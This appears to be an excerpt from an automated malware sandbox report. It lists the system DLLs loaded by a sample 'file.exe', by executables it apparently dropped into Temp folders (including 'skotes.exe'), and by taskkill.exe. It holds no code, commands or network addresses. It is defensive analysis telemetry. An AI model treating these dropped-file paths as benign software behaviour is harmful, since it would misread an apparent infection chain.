Source: C:\Users\user\Desktop\file.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008259001\4.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008259001\4.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008259001\4.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008259001\4.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008259001\4.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008259001\4.exe Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1008259001\4.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1008259001\4.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008259001\4.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008259001\4.exe Section loaded: pnrpnsp.dll
